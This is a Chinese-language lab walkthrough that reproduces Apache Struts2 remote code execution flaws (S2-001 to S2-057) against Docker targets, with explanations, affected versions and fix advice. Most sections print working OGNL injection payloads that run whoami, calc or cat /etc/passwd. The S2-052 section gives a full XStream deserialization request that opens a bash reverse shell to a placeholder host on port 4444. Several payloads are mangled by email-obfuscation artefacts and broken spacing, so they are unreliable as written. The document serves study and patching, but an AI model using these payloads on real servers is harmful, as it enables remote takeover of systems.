0x00 环境搭建
这里使用 docker 环境进行的复现,下载完毕后,进入靶场环境,编译 docker 环境,启动 docker 环境,下面以一个实例举例命令:cd xxx 目录
自动编译环境
命令:docker-compose build
命令:docker-compose build
启动整个编译环境
命令:docker-compose up –d
查看是否启动成功
访问靶机 8080 端口即可漏洞练习完成后,关闭当前 docker 环境,启用下一个即可
关闭当前环境命令:docker-compose down -v
0x01 OGNL
OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 三要素:
表达式(Expression)
表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。
根对象(Root Object)
根对象可以理解为 OGNL 的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
上下文环境(Context)
有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。访问 context 对象时候需要在表达式中加上#。
说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作“在哪里进行”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root Object),也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(RootObject)的存取操作的表达式是不需要增加#符号进行区分的。
触发途径
通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建
ProcessBuilder 对象。
_memberAccess[“allowStaticMethodAccess”]=true // 用来授权允许调用静态方法或
new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,’/etc/passwd’})).start()
但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有方法可以绕过。
0x02 S2-001
原理:
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次 OGNL 表达式解析,因此它的计算就好像表达式是%{%{1 + 1}}一样,所以可以直接构造 Payload 进行命令执行。
影响版本:
Struts 2.0.0 – 2.0.8
漏洞复现
我们先来测试一下这个漏洞有没有存在该安全问题
经验证,后端对用户提交的数据参数进行了 OGNL 表达式%{value}进行解析,并成功返回该参数值,说明该漏洞存在
获取当前主机权限信息
POC:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
执行任意命令
POC:
%{ #a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close() }
流量分析
正常访问:
漏洞测试:
可以看到,我们的正常请求是一个 GET 请求,测试漏洞的时候,是一个 POST 传输,我们在 password 字段传递的值,解码后查看是我们构造的测试 POC:%{‘111’},服务器正常响应 200,响应体中 password 的 value 值为 111。
获取当前主机权限信息
执行任意命令
再看获取当前主机权限信息的包和执行任意命令的包,和之前的包对比,发现返回结果没有了 password 的 class 对象,返回结果直接在响应体最下方
修复建议
从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。您可以获取WebWork 2.0.4或Struts 2.0.9,其中包含已更正的XWork 库。或者,您可以获取补丁并将其自己应用于 XWork 源代码。
0x03 S2-005
原理
s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12), struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象,struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或 8 进制(\43)即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开
影响版本:
Struts 2.0.0-2.1.8.1
0x04 S2-007
原理
age 当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了 OGNL 语句的执行。
影响版本:
Struts 2.0.0 – 2.2.3
漏洞复现
构造 POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo, @org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoa mi').getInputStream())) + '
流量分析
通过查看流量日志,在请求体 age 字段中包含我们构造的 POC,服务器状态码返回 200,响应体中 age 字段 value 值为返回结果。
修复建议
升级到 Struts 2.2.3.1
struts2.2.3.1 对这个漏洞进行了修复,修复方法也异常简单,类似于 sql 注
入的 addslashes,对其中的单引号进行了转义在 getOverrideExpr函数中进行了 StringEscape,从而无法闭合单引号,也就无法构造 OGNL 表达式。
0x05 S2-008
原理
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符
限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋
的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。
影响版本:
Struts 2.1.0 – 2.3.1
漏洞复现
构造 POC:
/devmode.action?debug=command&expression=#context["xwork.
MethodAccessor.denyMethodExecution"]=false,#f=#_memberAcce ss.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setA ccessible(true),#f.set(#_memberAccess,true),#[email protected] me@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensympho ny.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.p rintln(#d),#genxor.flush(),#genxor.close()
流量分析
通过查看流量日志,GET 请求中携带了本次攻击的 POC,服务器状态码返回 200,响应体中为返回结果。
修复建议
强烈建议升级到包含更正后的类的 Struts 2.3.18或更高版本。
更新至 2.3.18 的 Struts 和应用更强的 acceptedParamNames 过滤器的 ParameterInterceptor 和 CookieInterceptor:
acceptedParamNames = “[a-zA-Z0-9\.][()_’]+”;
<span lang=”en-us” xml:lang=”en-us”>0x06 S2-009</span>
原理
OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过
ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
ParametersInterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,OGNL将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在 HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。
影响版本
Struts 2.1.0 – 2.3.1.1
漏洞复现
POC1:
/ajax/example5?age=1&name=(%23context[%22xwork.MethodAccessor.denyMet hodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22a llowStaticMethodAccess%22]=true,+%[email protected]@getRuntime() .exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamRead er(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],% 23c.read(%23d),%[email protected]@getR esponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z
[(name)(%27meh%27)]
POC2:
POST /ajax/example5 HTTP/1.1
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 419
Host: ********************
z[%28name%29%28%27meh%27%29]&age=1&name=(#context["xwork.MethodAccessor.deny MethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#[email protected] g.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().get Writer(),#s.println(#d),#s.close())(meh)
修复建议
强烈建议升级到Struts2.3.1.2,其中包含更正的**OGNL和XWork库。**可能的缓解方法:在 struts.xml 中配置 ParametersIntercptor 以排除恶意参数
如果正确应用以下以下拦截器-引用配置,则可以缓解此问题,仅允许简单的导航表达式:
<interceptor-ref name=”params”><font></font>
<param name=”acceptParamNames”>\w+((\.\w+)|(\[\d+\])|(\[‘\w+’\]))*</param><font></ </interceptor-ref><font></font>
0x07 S2-012
原理
包含特制请求参数的请求可用于将任意 OGNL 代码注入属性,然后用作重定向地址的请求参数,这将导致进一步评估。
在S2-003,005,009经解决了 OGNL 评估问题,但是,由于它只涉及参数名称,因此结果得出的修复结果是基于将可接受的参数名称列入白名单并拒绝对参数中包含的表达式进行评估名称,仅部分关闭了漏洞。
当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。
这使恶意用户可以将任意 OGNL 语句放入由操作公开的任何未过滤的 String 变量中,并将其评估为 OGNL 表达式,以启用方法执行并执行任意方法,从而绕过 Struts 和 OGNL 库保护。
如 果 在 配 置 Action 中 Result 时 使 用 了 重 定 向 类 型 , 并 且 还 使 用
作为重定向变量,中定义有一个变量,当触发类型返回时,获取使用{name} 获取其值,
在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响版本
Struts 2.1.0-2.3.13
漏洞复现
POC:
%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22whoami% 22%7D)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new%20java.io.InputStr eamReader(#b),#d=new%20java.io.BufferedReader(#c),#e=new%20char%5B50000%5D,#d.rea d(#e),#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22), #f.getWriter().println(new%20java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()% 7D
通过查看数据包可以看到,通过构造 name 参数,达到漏洞利用的目的
修复建议
升级到 Struts 2.3.14.3
0x08 S2-013
原理
struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值
none – URL中不包含任何参数(默认)
get – 仅包含URL中的GET参数
all – 在URL中包含GET和POST参数此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行
影响版本
Struts 2.0.0-2.3.14
漏洞复现
POC:
?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D %40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20j ava.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3 Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.Servlet ActionContext%40getResponse().getWriter()%2C%23out.println('p%3D'%2Bnew%20java.lang.Stri ng(%23d))%2C%23out.close()%7D
通过 GET 请求,构造 a 参数执行任意命令
修复建议
升级到 Struts 2.3.14.2,其中包含已更正的 OGNL 和 XWork 库。
0x08 S2-015
原理
如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,
{ }可以在服务器端执行任意的Java代码。这个漏洞是两个问题的组合:
请求的操作名称未被转义或再次检查白名单
在translateVariables使用组合$和%开放字符时对OGNL表达式进行双重评。
如果请求与任何其他定义的操作都不匹配,它将被匹配,*并且请求的操作名称将用于基于操作名称加载 JSP 文件。并且{ 1}的值作为 OGNL 表达式受到威胁,因此允许在服务器端执行任意 Java 代码。此漏洞是两个问题的组合:
请求的操作名称未转义或再次选中白名单
TextParseUtil.translateVariables当使用$和%开字符的组合时,对 OGNL 表达式进行双重评估。
影响版本
Struts 2.0.0 – 2.3.14.2
漏洞复现
POC:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27% 5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredFiel d%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29 %2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected] mmons.io.IOUtils@toString%[email protected]@getRuntime%28%29.exec%2 8%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
与其他不同的是,此次请求响应码为 404,返回结果在 Message 字段中。
修复建议
升级到 Struts 2.3.14.3。
0x09 S2-032
原理
当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。
影响版本
Struts 2.3.20 – Struts Struts 2.3.28(2.3.20.3 和 2.3.24.3 除外)
漏洞复现
POC:
/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_
ACCESS%2c%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c%23w
%3d%23res.getWriter()%2c%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime ().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c%23str%3d%23s.hasNext()%3f%23s.n ext()%3a%23xx%2c%23w.print(%23str)%2c%23w.close()%2c1%3f%23xx%3a%23request.toString&cm d=whoami
修复建议
升级到 Struts 2.3.20.3、2.3.24.3 和 2.3.28.1 时不会出现问题
禁用动态方法调用或 ActionMapper 基于推荐的 Apache Struts 版本的源代码实现自己的版本。
0x0A S2-045
原理
struts2的核心是拦截器,漏洞成因就是 struts-default 中的处理上传拦截器 jakarta 组件,会解析错误信息里的 ognl 表达式并执行
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的 Content-Type值来触发该漏洞,进而执行系统命令。
影响版本
Struts2.3.5 – 2.3.31
Struts2.5 – 2.5.10
漏洞复现
点击 Submit
POC:
"%{(#xxx='multipart/formdata').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.Acti onContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.x work2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognl Util.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"wh oami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contai ns('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start( )).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStr eam())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}"
修复建议
Apache Struts 版本 2.3.32 或 2.5.1.0.1
实现 Servlet 过滤器,该过滤器将验证 Content-Type 并丢弃不匹配的可疑值的请求 multipart/form-data。
0x0B <span lang=”en-us” xml:lang=”en-us”>S2-046</span>
原理
使用恶意的 Content-Disposition 值或者使用不合适的 Content-Length 头就可能导致远程命令执行。该漏洞与 S2-045(CVE-2017–5638)相似,漏洞触发点一样,但利用方式不同。触发漏洞需要满足的条件:
1.Content-Type 中包含 multipart/form-data
2.Content-Disposition 中 filename 包含 OGNL语句
3.文件大小大于 2G(默认情况下),通过设置 Content-Length 就可以了;或者filename 中有空字节\x00
影响版本
Struts 2.3.5-Struts 2.3.31,Struts 2.5- Struts 2.5.10
漏洞复现
POC:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletRespons e'].addHeader('X-Test',1+99)}\x00b
bp 抓包做 00 截断处理
POC:
%{(#xxx='multipart/formdata').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_mem berAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.contain er']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#con text.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getPropert y('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash
','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=( @org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apac he.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
修复建议
升级到 Apache Struts 版本 2.3.32 或 2.5.1.0.1
0x0C S2-014
原理
以s2-013为例进⾏分析
<s:a>标签与 HTML 中的 <a>标签类似,主要⽤于构造 HTML ⻚⾯中的超链接
<s:url> 标签⽤于创建URL
Struts2 标签中 <s:a> 和 <s:url> 都包含⼀个 includeParams 属性,其值可设置为 none,get 或 all,分别有以下意义: none – 链接不包含请求的任意参数值(默认) get – 链接只包含 GET 请求中的参数和其值 all – 链接包含 GET 和 POST 所有参数和其值
函数执⾏栈:
位于 org\apache\struts2\views\util\UrlHelper.class 中的 buildParametersString 函数进⾏请求参数的取值,将请求中的参数值赋给 paramValue ,关注如下的逻辑:
for(int i = 0; i < array.length; ++i) {
Object paramValue = array[i];
link.append(buildParameterSubstring(name, paramValue.toString()));
if (i < array.length - 1) {
link.append(paramSeparator);
}
这⾥将的name就是变量名,⽽paramValue就是值:
跳转到buildParameterSubstring函数,代码如下:
private static String buildParameterSubstring(String name, Str ing value) {
StringBuilder builder = new StringBuilder();
builder.append(translateAndEncode(name));
builder.append('=');
builder.append(translateAndEncode(value));
return builder.toString();
}
跟⼊ translateAndEncode 函数
public static String translateAndEncode(String input) { 2 String translatedInput = translateVariable(input);
继续跟⼊ translateVariable ,位于 org\apache\struts2\views\util\UrlHelper.class
private static String translateVariable(String input) {
ValueStack valueStack = ServletActionContext.getContext(). getValueStack();
String output = TextParseUtil.translateVariables(input, va lueStack);
return output;
}
下⾯就是ognl表达式的处理逻辑,进⾏translateVariables的回调:
最后经过translateVariables函数解析,执⾏了表达式:
对于13的⿊名单修复,限制了%{(#exp)}形式,所以就可以利⽤ ${(#exp)} payload:
${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_m emberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@ge tRuntime().exec("calc"))}
0x0D S2-052
原理
Struts2 S2-052远程代码执行漏洞和以往的Struts2漏洞是不同的,S2-052利用的是Java反序列化,而不是ognl。本次漏洞触发点是REST插件在解析请求中的xml文件,调用了XStreamandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
影响版本
Apache Struts 2.5-Apache Struts 2.5.12
环境准备
cd vulhub/struts2/s2-052
systemctl start docker
service docker start
sudo docker-compose build
sudo docker-compose up -d
docker-compose ps #查看环境信息
漏洞复现
启动环境后,访问http://your-ip:8080/orders.xhtml以查看展示页面。
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type标头为application/xml在主体中传递XML数据。
在burpsuite中抓包改包进行重放,payload如下:
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2430
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/usr/bin/touch</string>
<string>/tmp/shell.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
其中<command></command>字段为执行的命令,在/tmp下创建一个shell.txt文件。重放报错,但可以在容器/tmp文件下发现shell.txt文件,证明漏洞复现成功。
漏洞利用
利用该漏洞反弹shell,payload如下:
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2496
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/your-ip/4444 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
在远程命令执行过程中,由于服务器不识别&这个符号,需要编码,将&换成
在攻击机里面监听4444端口,拿到shell。
修复方案
立即升级到Struts 2.5.13。
注意:
新版本使用的默认限制策略会导致REST的一些函数停止工作,会对一些业务造成影响,建议使用以下新的接口:
apache.struts2.rest.handler.AllowedClasses
apache.struts2.rest.handler.AllowedClassNames
apache.struts2.rest.handler.XStreamPermissionProvider
临时修复方案
1.停止使用REST插件。
2.限制服务端扩展类型:
<constant name="struts.action.extension" value="xhtml,,json" />
0x0E S2-053
原理
2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2 存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053)。该漏洞源于在处理Freemarker标签时,如使程序员使用了不恰当的编码表达会导致远程代码执行。
漏洞信息页面:https://cwiki.apache.org/confluence/display/WW/S2-053
漏洞成因官方概述:A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals
影响版本
Struts 2.0.1 – Sturts 2.3.33
Struts 2.5 – Struts 2.5.10
漏洞复现
POC:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd='calc').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}
漏洞分析
整体的调用流程大概是:
通过freemarker.template.Template类的process方法,开始解析模板。
将 struts2 标签解析成UnifiedCall对象,随即调用 struts2 标签组件进行解析。
解析标签中的各个属性值,遇到OGNL表达式则解析并执行表达式。
此处我们暂不讨论 Freemarker 模板引擎解析模板的过程,我们直接关注org.apache.struts2.components.UIBean这个类。解析过程中会调用这个类的evaluateParams方法
这里的this
指的是Hidden
标签对象(继承自UIBean
类),所以此处的this.name
即为 hidden 标签的 name 属性值(此处为${message}
解析后的值)。跟进findString
方法,可以发现其本质上是调用的findValue
方法,在方法里面会进行是否内嵌表达式的判断。
跟进ComponentUtils.containsExpression
方法,可以发现其是通过判断表达式是否被%{
和}
包裹,如果是则返回true
,然后进入TextParseUtil.translateVariables
方法中。
再来看TextParseUtil.translateVariables
方法,这里有多层调用,我们直接到最后一层。方法中主要是创建了一个TextParser
解析器(本质上是接口,但是通过获取实例进行调用,这里实例为OgnlTextParser
),然后调用其evaluate
方法(箭头所指)对表达式进行计算。
在OgnlTextParser
的evaluate
方法中,又调用了evaluator
的evaluate
方法(即上图红框部分)。
这里会触发stack.findValue
方法,然后经过一系列调用,来到OgnlUtil
类的compileAndExecute
方法。会先从缓存中查看是否为已执行的表达式,否则会通过Ognl.parseExpression
方法进行语法树解析,然后通过checkEnableEvalExpression
判断是否开启执行表达式功能。
this.enableEvalExpression
这里为false
,由于tree
的类型为ASTChain
,继承自SimpleNode
,所以需要对当前的ognlContext
进行isEvalChain
和isSequence
的判断。但显然此处不是EvalChain
类型,也不是Sequence
类型,因此返回的都是false
。
回到Ognl.parseExpression
方法,会调用到task
的execute
方法,实质上就是Ognl.getValue
方法,后续部分就是对Ognl表达式的解析执行了,此处不再阐述。
修复建议
用户应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限 getter属性)。
用户可以升级到Apache Struts版本2.5.12或2.3.34,其中包含更多受限制的Freemarker配置,但是最好删除易受攻击的构造。
0x0F S2-057
原理
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。
影响版本
Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16
环境搭建
1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开
2.首先修改配置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package> </struts>
3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加<constant name=”struts.mapper.alwaysSelectFullNamespace” value=”true” />
添加tomcat运行
漏洞复现
1.访问http://localhost:8081/${(111+111)}/actionChain1.action
POC
/struts2_showcase_war_exploded/showcase/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("calc"))}/actionChain1.action
漏洞分析
主要分析了两种攻击点一:Redirect action和攻击点二:Postback result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程
Redirect action:
1.第一种方式在\struts-2.3.34\src\xwork-core\src\main\ja
va\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()处下断点进行调试
2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java# @execute()
